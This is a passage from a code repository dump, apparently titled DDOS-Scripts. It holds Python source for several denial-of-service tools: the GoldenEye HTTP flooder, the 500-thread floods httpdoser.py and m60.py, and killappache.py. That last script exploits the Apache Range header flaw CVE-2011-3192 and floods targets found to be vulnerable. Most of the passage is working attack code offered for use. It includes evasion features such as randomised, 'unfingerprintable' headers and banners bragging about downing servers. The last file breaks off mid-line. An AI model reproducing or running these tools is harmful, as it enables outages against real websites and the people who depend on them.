Manager 141 | self.manager = Manager() 142 | 143 | # Initialize Counters 144 | self.counter = self.manager.list((0, 0)) 145 | 146 | 147 | def exit(self): 148 | self.stats() 149 | print "Shutting down GoldenEye" 150 | 151 | def __del__(self): 152 | self.exit() 153 | 154 | def printHeader(self): 155 | 156 | # Taunt! 157 | print 158 | print GOLDENEYE_BANNER 159 | print 160 | 161 | # Do the fun! 162 | def fire(self): 163 | 164 | self.printHeader() 165 | print "Hitting webserver in mode '{0}' with {1} workers running {2} connections each. Hit CTRL+C to cancel.".format(self.method, self.nr_workers, self.nr_sockets) 166 | 167 | if DEBUG: 168 | print "Starting {0} concurrent workers".format(self.nr_workers) 169 | 170 | # Start workers 171 | for i in range(int(self.nr_workers)): 172 | 173 | try: 174 | 175 | worker = Striker(self.url, self.nr_sockets, self.counter) 176 | worker.useragents = self.useragents 177 | worker.method = self.method 178 | 179 | self.workersQueue.append(worker) 180 | worker.start() 181 | except (Exception): 182 | error("Failed to start worker {0}".format(i)) 183 | pass 184 | 185 | if DEBUG: 186 | print "Initiating monitor" 187 | self.monitor() 188 | 189 | def stats(self): 190 | 191 | try: 192 | if self.counter[0] > 0 or self.counter[1] > 0: 193 | 194 | print "{0} GoldenEye strikes deferred. ({1} Failed)".format(self.counter[0], self.counter[1]) 195 | 196 | if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]: 197 | print "\tServer may be DOWN!" 198 | 199 | self.last_counter[0] = self.counter[0] 200 | self.last_counter[1] = self.counter[1] 201 | except (Exception): 202 | pass # silently ignore 203 | 204 | def monitor(self): 205 | while len(self.workersQueue) > 0: 206 | try: 207 | for worker in self.workersQueue: 208 | if worker is not None and worker.is_alive(): 209 | worker.join(JOIN_TIMEOUT) 210 | else: 211 | self.workersQueue.remove(worker) 212 | 213 | self.stats() 214 | 215 | except (KeyboardInterrupt, SystemExit): 216 | print "CTRL+C received. Killing all workers" 217 | for worker in self.workersQueue: 218 | try: 219 | if DEBUG: 220 | print "Killing worker {0}".format(worker.name) 221 | #worker.terminate() 222 | worker.stop() 223 | except Exception, ex: 224 | pass # silently ignore 225 | if DEBUG: 226 | raise 227 | else: 228 | pass 229 | 230 | #### 231 | # Striker Class 232 | #### 233 | 234 | class Striker(Process): 235 | 236 | 237 | # Counters 238 | request_count = 0 239 | failed_count = 0 240 | 241 | # Containers 242 | url = None 243 | host = None 244 | port = 80 245 | ssl = False 246 | referers = [] 247 | useragents = [] 248 | socks = [] 249 | counter = None 250 | nr_socks = DEFAULT_SOCKETS 251 | 252 | # Flags 253 | runnable = True 254 | 255 | # Options 256 | method = METHOD_GET 257 | 258 | def __init__(self, url, nr_sockets, counter): 259 | 260 | super(Striker, self).__init__() 261 | 262 | self.counter = counter 263 | self.nr_socks = nr_sockets 264 | 265 | parsedUrl = urlparse.urlparse(url) 266 | 267 | if parsedUrl.scheme == 'https': 268 | self.ssl = True 269 | 270 | self.host = parsedUrl.netloc.split(':')[0] 271 | self.url = parsedUrl.path 272 | 273 | self.port = parsedUrl.port 274 | 275 | if not self.port: 276 | self.port = 80 if not self.ssl else 443 277 | 278 | 279 | self.referers = [ 280 | 'http://www.google.com/', 281 | 'http://www.bing.com/', 282 | 'http://www.baidu.com/', 283 | 'http://www.yandex.com/', 284 | 'http://' + self.host + '/' 285 | ] 286 | 287 | 288 | def __del__(self): 289 | self.stop() 290 | 291 | 292 | #builds random ascii string 293 | def buildblock(self, size): 294 | out_str = '' 295 | 296 | _LOWERCASE = range(97, 122) 297 | _UPPERCASE = range(65, 90) 298 | _NUMERIC = range(48, 57) 299 | 300 | validChars = _LOWERCASE + _UPPERCASE + _NUMERIC 301 | 302 | for i in range(0, size): 303 | a = random.choice(validChars) 304 | out_str += chr(a) 305 | 306 | return out_str 307 | 308 | 309 | def run(self): 310 | 311 | if DEBUG: 312 | print "Starting worker {0}".format(self.name) 313 | 314 | while self.runnable: 315 | 316 | try: 317 | 318 | for i in range(self.nr_socks): 319 | 320 | if self.ssl: 321 | c = HTTPCLIENT.HTTPSConnection(self.host, self.port) 322 | else: 323 | c = HTTPCLIENT.HTTPConnection(self.host, self.port) 324 | 325 | self.socks.append(c) 326 | 327 | for conn_req in self.socks: 328 | 329 | (url, headers) = self.createPayload() 330 | 331 | method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method 332 | 333 | conn_req.request(method.upper(), url, None, headers) 334 | 335 | for conn_resp in self.socks: 336 | 337 | resp = conn_resp.getresponse() 338 | self.incCounter() 339 | 340 | self.closeConnections() 341 | 342 | except: 343 | self.incFailed() 344 | if DEBUG: 345 | raise 346 | else: 347 | pass # silently ignore 348 | 349 | if DEBUG: 350 | print "Worker {0} completed run. Sleeping...".format(self.name) 351 | 352 | def closeConnections(self): 353 | for conn in self.socks: 354 | try: 355 | conn.close() 356 | except: 357 | pass # silently ignore 358 | 359 | 360 | def createPayload(self): 361 | 362 | req_url, headers = self.generateData() 363 | 364 | random_keys = headers.keys() 365 | random.shuffle(random_keys) 366 | random_headers = {} 367 | 368 | for header_name in random_keys: 369 | random_headers[header_name] = headers[header_name] 370 | 371 | return (req_url, random_headers) 372 | 373 | def generateQueryString(self, ammount = 1): 374 | 375 | queryString = [] 376 | 377 | for i in range(ammount): 378 | 379 | key = self.buildblock(random.randint(3,10)) 380 | value = self.buildblock(random.randint(3,20)) 381 | element = "{0}={1}".format(key, value) 382 | queryString.append(element) 383 | 384 | return '&'.join(queryString) 385 | 386 | 387 | def generateData(self): 388 | 389 | returnCode = 0 390 | param_joiner = "?" 391 | 392 | if len(self.url) == 0: 393 | self.url = '/' 394 | 395 | if self.url.count("?") > 0: 396 | param_joiner = "&" 397 | 398 | request_url = self.generateRequestUrl(param_joiner) 399 | 400 | http_headers = self.generateRandomHeaders() 401 | 402 | 403 | return (request_url, http_headers) 404 | 405 | def generateRequestUrl(self, param_joiner = '?'): 406 | 407 | return self.url + param_joiner + self.generateQueryString(random.randint(1,5)) 408 | 409 | def getUserAgent(self): 410 | 411 | if self.useragents: 412 | return random.choice(self.useragents) 413 | 414 | # Mozilla/[version] ([system and browser information]) [platform] ([platform details]) [extensions] 415 | 416 | ## Mozilla Version 417 | mozilla_version = "Mozilla/5.0" # hardcoded for now, almost every browser is on this version except IE6 418 | 419 | ## System And Browser Information 420 | # Choose random OS 421 | os = USER_AGENT_PARTS['os'][random.choice(USER_AGENT_PARTS['os'].keys())] 422 | os_name = random.choice(os['name']) 423 | sysinfo = os_name 424 | 425 | # Choose random platform 426 | platform = USER_AGENT_PARTS['platform'][random.choice(USER_AGENT_PARTS['platform'].keys())] 427 | 428 | # Get Browser Information if available 429 | if 'browser_info' in platform and platform['browser_info']: 430 | browser = platform['browser_info'] 431 | 432 | browser_string = random.choice(browser['name']) 433 | 434 | if 'ext_pre' in browser: 435 | browser_string = "%s; %s" % (random.choice(browser['ext_pre']), browser_string) 436 | 437 | sysinfo = "%s; %s" % (browser_string, sysinfo) 438 | 439 | if 'ext_post' in browser: 440 | sysinfo = "%s; %s" % (sysinfo, random.choice(browser['ext_post'])) 441 | 442 | 443 | if 'ext' in os and os['ext']: 444 | sysinfo = "%s; %s" % (sysinfo, random.choice(os['ext'])) 445 | 446 | ua_string = "%s (%s)" % (mozilla_version, sysinfo) 447 | 448 | if 'name' in platform and platform['name']: 449 | ua_string = "%s %s" % (ua_string, random.choice(platform['name'])) 450 | 451 | if 'details' in platform and platform['details']: 452 | ua_string = "%s (%s)" % (ua_string, random.choice(platform['details']) if len(platform['details']) > 1 else platform['details'][0] ) 453 | 454 | if 'extensions' in platform and platform['extensions']: 455 | ua_string = "%s %s" % (ua_string, random.choice(platform['extensions'])) 456 | 457 | return ua_string 458 | 459 | def generateRandomHeaders(self): 460 | 461 | # Random no-cache entries 462 | noCacheDirectives = ['no-cache', 'max-age=0'] 463 | random.shuffle(noCacheDirectives) 464 | nrNoCache = random.randint(1, (len(noCacheDirectives)-1)) 465 | noCache = ', '.join(noCacheDirectives[:nrNoCache]) 466 | 467 | # Random accept encoding 468 | acceptEncoding = ['\'\'','*','identity','gzip','deflate'] 469 | random.shuffle(acceptEncoding) 470 | nrEncodings = random.randint(1,len(acceptEncoding)/2) 471 | roundEncodings = acceptEncoding[:nrEncodings] 472 | 473 | http_headers = { 474 | 'User-Agent': self.getUserAgent(), 475 | 'Cache-Control': noCache, 476 | 'Accept-Encoding': ', '.join(roundEncodings), 477 | 'Connection': 'keep-alive', 478 | 'Keep-Alive': random.randint(1,1000), 479 | 'Host': self.host, 480 | } 481 | 482 | # Randomly-added headers 483 | # These headers are optional and are 484 | # randomly sent thus making the 485 | # header count random and unfingerprintable 486 | if random.randrange(2) == 0: 487 | # Random accept-charset 488 | acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ] 489 | random.shuffle(acceptCharset) 490 | http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1)) 491 | 492 | if random.randrange(2) == 0: 493 | # Random Referer 494 | url_part = self.buildblock(random.randint(5,10)) 495 | 496 | random_referer = random.choice(self.referers) + url_part 497 | 498 | if random.randrange(2) == 0: 499 | random_referer = random_referer + '?' + self.generateQueryString(random.randint(1, 10)) 500 | 501 | http_headers['Referer'] = random_referer 502 | 503 | if random.randrange(2) == 0: 504 | # Random Content-Trype 505 | http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded']) 506 | 507 | if random.randrange(2) == 0: 508 | # Random Cookie 509 | http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5)) 510 | 511 | return http_headers 512 | 513 | # Housekeeping 514 | def stop(self): 515 | self.runnable = False 516 | self.closeConnections() 517 | self.terminate() 518 | 519 | # Counter Functions 520 | def incCounter(self): 521 | try: 522 | self.counter[0] += 1 523 | except (Exception): 524 | pass 525 | 526 | def incFailed(self): 527 | try: 528 | self.counter[1] += 1 529 | except (Exception): 530 | pass 531 | 532 | 533 | 534 | #### 535 | 536 | #### 537 | # Other Functions 538 | #### 539 | 540 | def usage(): 541 | print 542 | print '-----------------------------------------------------------------------------------------------------------' 543 | print 544 | print GOLDENEYE_BANNER 545 | print 546 | print ' USAGE: ./goldeneye.py [OPTIONS]' 547 | print 548 | print ' OPTIONS:' 549 | print '\t Flag\t\t\tDescription\t\t\t\t\t\tDefault' 550 | print '\t -u, --useragents\tFile with user-agents to use\t\t\t\t(default: randomly generated)' 551 | print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS) 552 | print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS) 553 | print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\' or \'random\'\t\t(default: get)' 554 | print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)' 555 | print '\t -h, --help\t\tShows this help' 556 | print 557 | print '-----------------------------------------------------------------------------------------------------------' 558 | 559 | 560 | def error(msg): 561 | # print help information and exit: 562 | sys.stderr.write(str(msg+"\n")) 563 | usage() 564 | sys.exit(2) 565 | 566 | #### 567 | # Main 568 | #### 569 | 570 | def main(): 571 | 572 | try: 573 | 574 | if len(sys.argv) < 2: 575 | error('Please supply at least the URL') 576 | 577 | url = sys.argv[1] 578 | 579 | if url == '-h': 580 | usage() 581 | sys.exit() 582 | 583 | if url[0:4].lower() != 'http': 584 | error("Invalid URL supplied") 585 | 586 | if url == None: 587 | error("No URL supplied") 588 | 589 | opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:u:", ["debug", "help", "workers", "sockets", "method", "useragents" ]) 590 | 591 | workers = DEFAULT_WORKERS 592 | socks = DEFAULT_SOCKETS 593 | method = METHOD_GET 594 | 595 | uas_file = None 596 | useragents = [] 597 | 598 | for o, a in opts: 599 | if o in ("-h", "--help"): 600 | usage() 601 | sys.exit() 602 | elif o in ("-u", "--useragents"): 603 | uas_file = a 604 | elif o in ("-s", "--sockets"): 605 | socks = int(a) 606 | elif o in ("-w", "--workers"): 607 | workers = int(a) 608 | elif o in ("-d", "--debug"): 609 | global DEBUG 610 | DEBUG = True 611 | elif o in ("-m", "--method"): 612 | if a in (METHOD_GET, METHOD_POST, METHOD_RAND): 613 | method = a 614 | else: 615 | error("method {0} is invalid".format(a)) 616 | else: 617 | error("option '"+o+"' doesn't exists") 618 | 619 | 620 | if uas_file: 621 | try: 622 | with open(uas_file) as f: 623 | useragents = f.readlines() 624 | except EnvironmentError: 625 | error("cannot read file {0}".format(uas_file)) 626 | 627 | goldeneye = GoldenEye(url) 628 | goldeneye.useragents = useragents 629 | goldeneye.nr_workers = workers 630 | goldeneye.method = method 631 | goldeneye.nr_sockets = socks 632 | 633 | goldeneye.fire() 634 | 635 | except getopt.GetoptError, err: 636 | 637 | # print help information and exit: 638 | sys.stderr.write(str(err)) 639 | usage() 640 | sys.exit(2) 641 | 642 | if __name__ == "__main__": 643 | main() 644 | -------------------------------------------------------------------------------- /DDOS-Scripts/httpdoser.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | import sys 3 | import threading 4 | import random 5 | import re 6 | 7 | #global params 8 | url='' 9 | host='' 10 | headers_useragents=[] 11 | headers_referers=[] 12 | request_counter=0 13 | flag=0 14 | safe=0 15 | 16 | def inc_counter(): 17 | global request_counter 18 | request_counter+=1 19 | 20 | def set_flag(val): 21 | global flag 22 | flag=val 23 | 24 | def set_safe(): 25 | global safe 26 | safe=1 27 | 28 | # generates a user agent array 29 | def useragent_list(): 30 | global headers_useragents 31 | headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') 32 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 33 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 34 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') 35 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') 36 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') 37 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') 38 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') 39 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') 40 | headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') 41 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') 42 | headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') 43 | return(headers_useragents) 44 | 45 | # generates a referer array 46 | def referer_list(): 47 | global headers_referers 48 | headers_referers.append('http://www.google.com/?q=') 49 | headers_referers.append('http://www.usatoday.com/search/results?q=') 50 | headers_referers.append('http://engadget.search.aol.com/search?q=') 51 | headers_referers.append('http://' + host + '/') 52 | return(headers_referers) 53 | 54 | #builds random ascii string 55 | def buildblock(size): 56 | out_str = '' 57 | for i in range(0, size): 58 | a = random.randint(65, 90) 59 | out_str += chr(a) 60 | return(out_str) 61 | 62 | def usage(): 63 | print '---------------------------------------------------' 64 | print 'USAGE: python httpdoser.py ' 65 | print 'httpdoser website : DDoS Attack' 66 | print "\a" 67 | print \ 68 | """ 69 | ... 70 | ;::::; Http_Doser Starting... 71 | ;::::; :; By DDoS Attack Anonymous 72 | ;:::::' :; 73 | ;:::::; ;. 74 | ,:::::' ; OOO\ 75 | ::::::; ; OOOOO\ 76 | ;:::::; ; OOOOOOOO 77 | ,;::::::; ;' / OOOOOOO 78 | ;:::::::::`. ,,,;. / / DOOOOOO 79 | .';:::::::::::::::::;, / / DOOOO 80 | ,::::::;::::::;;;;::::;, / / DOOO 81 | ;`::::::`'::::::;;;::::: ,#/ / DOOO 82 | :`:::::::`;::::::;;::: ;::# / DOOO 83 | ::`:::::::`;:::::::: ;::::# / DOO 84 | `:`:::::::`;:::::: ;::::::#/ DOO 85 | :::`:::::::`;; ;:::::::::## OO 86 | ::::`:::::::`;::::::::;:::# OO 87 | `:::::`::::::::::::;'`:;::# O 88 | `:::::`::::::::;' / / `:# 89 | ::::::`:::::;' / / `# 90 | 91 | """ 92 | print '---------------------------------------------------' 93 | 94 | 95 | #http request 96 | def httpcall(url): 97 | useragent_list() 98 | referer_list() 99 | code=0 100 | if url.count("?")>0: 101 | param_joiner="&" 102 | else: 103 | param_joiner="?" 104 | request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) 105 | request.add_header('User-Agent', random.choice(headers_useragents)) 106 | request.add_header('Cache-Control', 'no-cache') 107 | request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') 108 | request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10))) 109 | request.add_header('Keep-Alive', random.randint(110,120)) 110 | request.add_header('Connection', 'keep-alive') 111 | request.add_header('Host',host) 112 | try: 113 | urllib2.urlopen(request) 114 | except urllib2.HTTPError, e: 115 | #print e.code 116 | set_flag(1) 117 | print 'Flooding WebSite Port 80 with 65000-byte packets for 99999' 118 | code=500 119 | except urllib2.URLError, e: 120 | #print e.reason 121 | sys.exit() 122 | else: 123 | inc_counter() 124 | urllib2.urlopen(request) 125 | return(code) 126 | 127 | 128 | #http caller thread 129 | class HTTPThread(threading.Thread): 130 | def run(self): 131 | try: 132 | while flag<2: 133 | code=httpcall(url) 134 | if (code==500) & (safe==1): 135 | set_flag(2) 136 | except Exception, ex: 137 | pass 138 | 139 | # monitors http threads and counts requests 140 | class MonitorThread(threading.Thread): 141 | def run(self): 142 | previous=request_counter 143 | while flag==0: 144 | if (previous+100request_counter): 145 | print "%d Shots sends Senting" % (request_counter) 146 | previous=request_counter 147 | if flag==2: 148 | print "\n -M60 Hits are secced" 149 | 150 | #execute 151 | if len(sys.argv) < 2: 152 | usage() 153 | sys.exit() 154 | else: 155 | if sys.argv[1]=="help": 156 | usage() 157 | sys.exit() 158 | else: 159 | print "Flooding WebSite Port 80 with 65000-byte packets for 99999 By DDoS Attack" 160 | if len(sys.argv)== 3: 161 | if sys.argv[2]=="safe": 162 | set_safe() 163 | url = sys.argv[1] 164 | if url.count("/")==2: 165 | url = url + "/" 166 | m = re.search('http\://([^/]*)/?.*', url) 167 | host = m.group(1) 168 | for i in range(500): 169 | t = HTTPThread() 170 | t.start() 171 | t = MonitorThread() 172 | t.start() 173 | -------------------------------------------------------------------------------- /DDOS-Scripts/killappache.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse 4 | 5 | NAME = "KillApachePy (Range Header DoS CVE-2011-3192)" 6 | VERSION = "0.1d" 7 | AUTHOR = "Anonymous)" 8 | LICENSE = "Public domain (FREE)" 9 | 10 | SLEEP_TIME = 3 # time to wait for new thread slots (after max number reached) 11 | RANGE_NUMBER = 1024 # number of range subitems forming the DoS payload 12 | USER_AGENT = "KillApachePy (%s)" % VERSION 13 | 14 | def attack(url, user_agent=None, method='GET', proxy=None): 15 | url = ("http://%s" % url) if '://' not in url else url 16 | host = urlparse.urlparse(url).netloc 17 | 18 | if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I): 19 | print "(x) Invalid proxy address used" 20 | exit(-1) 21 | 22 | proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {}) 23 | opener = urllib2.build_opener(proxy_support) 24 | urllib2.install_opener(opener) 25 | 26 | class _MethodRequest(urllib2.Request): # Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2 27 | def set_method(self, method): 28 | self.method = method.upper() 29 | 30 | def get_method(self): 31 | return getattr(self, 'method', urllib2.Request.get_method(self)) 32 | 33 | def _send(check=False): #Send the vulnerable request to the target 34 | if check: 35 | print "(i) Checking target for vulnerability..." 36 | payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER)) 37 | try: 38 | headers = { 'Host': host, 'User-Agent': user_agent or USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' } 39 | req = _MethodRequest(url, None, headers) 40 | req.set_method(method) 41 | response = urllib2.urlopen(req) 42 | if check: 43 | return response and ('byteranges' in repr(response.headers.headers) or response.code == 206) 44 | except urllib2.URLError, msg: 45 | if any([item in str(msg) for item in ('Too many', 'Connection reset')]): 46 | pass 47 | elif 'timed out' in str(msg): 48 | print "\r(i) Server seems to be choked ('%s')" % msg 49 | else: 50 | print "(x) Connection error ('%s')" % msg 51 | if check or 'Forbidden' in str(msg): 52 | os._exit(-1) 53 | except Exception, msg: 54 | raise 55 | 56 | try: 57 | if not _send(check=True): 58 | print "(x) Target does not seem to be vulnerable" 59 | else: 60 | print "(o) Target seems to be vulnerable\n" 61 | quit = False 62 | while not quit: 63 | threads = [] 64 | print "(i) Creating new threads..." 65 | try: 66 | while True: 67 | thread = threading.Thread(target=_send) 68 | thread.start() 69 | threads.append(thread) 70 | except KeyboardInterrupt: 71 | quit = True 72 | raise 73 | except Exception, msg: 74 | if 'new thread' in str(msg): 75 | print "(i) Maximum number of new threads created (%d)" % len(threads) 76 | else: 77 | print "(x) Exception occured ('%s')" % msg 78 | finally: 79 | if not quit: 80 | print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME 81 | time.sleep(SLEEP_TIME) 82 | print 83 | except KeyboardInterrupt: 84 | print "\r(x) Ctrl-C was pressed" 85 | os._exit(1) 86 | 87 | if __name__ == "__main__": 88 | print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR) 89 | parser = optparse.OptionParser(version=VERSION) 90 | parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/index.php\")") 91 | parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 (Linux)\")") 92 | parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)") 93 | parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")") 94 | options, _ = parser.parse_args() 95 | if options.url: 96 | result = attack(options.url, options.agent, options.method, options.proxy) 97 | else: 98 | parser.print_help() 99 | -------------------------------------------------------------------------------- /DDOS-Scripts/m60.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | import sys 3 | import threading 4 | import random 5 | import re 6 | 7 | #global params 8 | url='' 9 | host='' 10 | headers_useragents=[] 11 | headers_referers=[] 12 | request_counter=0 13 | flag=0 14 | safe=0 15 | 16 | def inc_counter(): 17 | global request_counter 18 | request_counter+=1 19 | 20 | def set_flag(val): 21 | global flag 22 | flag=val 23 | 24 | def set_safe(): 25 | global safe 26 | safe=1 27 | 28 | # generates a user agent array 29 | def useragent_list(): 30 | global headers_useragents 31 | headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') 32 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 33 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 34 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') 35 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') 36 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') 37 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') 38 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') 39 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') 40 | headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') 41 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') 42 | headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') 43 | return(headers_useragents) 44 | 45 | # generates a referer array 46 | def referer_list(): 47 | global headers_referers 48 | headers_referers.append('http://www.google.com/?q=') 49 | headers_referers.append('http://www.usatoday.com/search/results?q=') 50 | headers_referers.append('http://engadget.search.aol.com/search?q=') 51 | headers_referers.append('http://' + host + '/') 52 | return(headers_referers) 53 | 54 | #builds random ascii string 55 | def buildblock(size): 56 | out_str = '' 57 | for i in range(0, size): 58 | a = random.randint(65, 90) 59 | out_str += chr(a) 60 | return(out_str) 61 | 62 | def usage(): 63 | print '---------------------------------------------------' 64 | print 'USAGE: python m60.py ' 65 | print 'The m60 was one governamental ddos the distribuition of this is limited Created by : Anonymous' 66 | print "\a" 67 | print \ 68 | """ :hyyyyyyyyyyyyyyyyh+ shyyyyyyyyyyyyyyyyyyyhh` 69 | /d .------------- yo h+ -----------------`.N` 70 | /d hMMMMMMMMMMMMm yo h+`MMMMMMMMMMMMMMMMM/.N` 71 | /d hMMMMMMMMMMMMm yo h+`MMMMMMMMMMMMMMMMM/.N` 72 | /d hMMMMMMMMMMMMm yo h+`MMMMMMMMMMMMMMMMM/.N` 73 | /d````mMMMMMMN.```yo ho`.``-hMMMMMMMMy.`.`.N` 74 | -yydy mMMMMMMN`omyy/ +Nm/`oNMMMMMMMd- /dyyss` 75 | oy mMMMMMMN`oy -do`/mMMMMMMMN+ -ds` 76 | oy mMMMMMMN`oy `yh..hMMMMMMMMs``yh. 77 | oy mMMMMMMN`oy +d:`sMMMMMMMMh- +d: 78 | oy mMMMMMMN`oddo`/NMMMMMMMm/ :do` 79 | oy mMMMMMMN`oy.-dMMMMMMMMo`.yy. 80 | oy mMMMMMMN```yMMMMMMMMh. od: 81 | oy mMMMMMMN`+NMMMMMMMm: :d+ 82 | oy mMMMMMMMmMMMMMMMMN- .mo 83 | oy mMMMMMMMMMMMMMMMMMMo``od: 84 | oy mMMMMMMMMMMMMMMMMMMMm/ .yy. 85 | oy mMMMMMMMMMMNooNMMMMMMMh- :do 86 | oy mMMMMMMMMMy.-..yMMMMMMMMs` +d: 87 | oy mMMMMMMMm:`shho`:mMMMMMMMN+ `yh. 88 | oy mMMMMMMN`:m: /d/ +NMMMMMMMd- -do` 89 | oy mMMMMMMN`oh `sh-`yMMMMMMMMy` +d/ 90 | :dyho mMMMMMMN`+dyho sdd+ -dMMMMMMMN+ `syyyh` 91 | /d -::NMMMMMMM/:: os h+ ::::yMMMMMMMMm/::`-N` 92 | /d hMMMMMMMMMMMMM`os h+`MMMMMMMMMMMMMMMMM/-N` 93 | /d hMMMMMMMMMMMMM`os h+`MMMMMMMMMMMMMMMMM/-N` 94 | /d hMMMMMMMMMMMMN`os h+`MMMMMMMMMMMMMMMMM/-N` 95 | /d................ss ho...................:N` 96 | -oooooooooooooooooo: /oooooooooooooooooooooo 97 | """ 98 | print '---------------------------------------------------' 99 | 100 | 101 | #http request 102 | def httpcall(url): 103 | useragent_list() 104 | referer_list() 105 | code=0 106 | if url.count("?")>0: 107 | param_joiner="&" 108 | else: 109 | param_joiner="?" 110 | request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) 111 | request.add_header('User-Agent', random.choice(headers_useragents)) 112 | request.add_header('Cache-Control', 'no-cache') 113 | request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') 114 | request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10))) 115 | request.add_header('Keep-Alive', random.randint(110,120)) 116 | request.add_header('Connection', 'keep-alive') 117 | request.add_header('Host',host) 118 | try: 119 | urllib2.urlopen(request) 120 | except urllib2.HTTPError, e: 121 | #print e.code 122 | set_flag(1) 123 | print 'm60 Was Shotting All protection fo the server' 124 | code=500 125 | except urllib2.URLError, e: 126 | #print e.reason 127 | sys.exit() 128 | else: 129 | inc_counter() 130 | urllib2.urlopen(request) 131 | return(code) 132 | 133 | 134 | #http caller thread 135 | class HTTPThread(threading.Thread): 136 | def run(self): 137 | try: 138 | while flag<2: 139 | code=httpcall(url) 140 | if (code==500) & (safe==1): 141 | set_flag(2) 142 | except Exception, ex: 143 | pass 144 | 145 | # monitors http threads and counts requests 146 | class 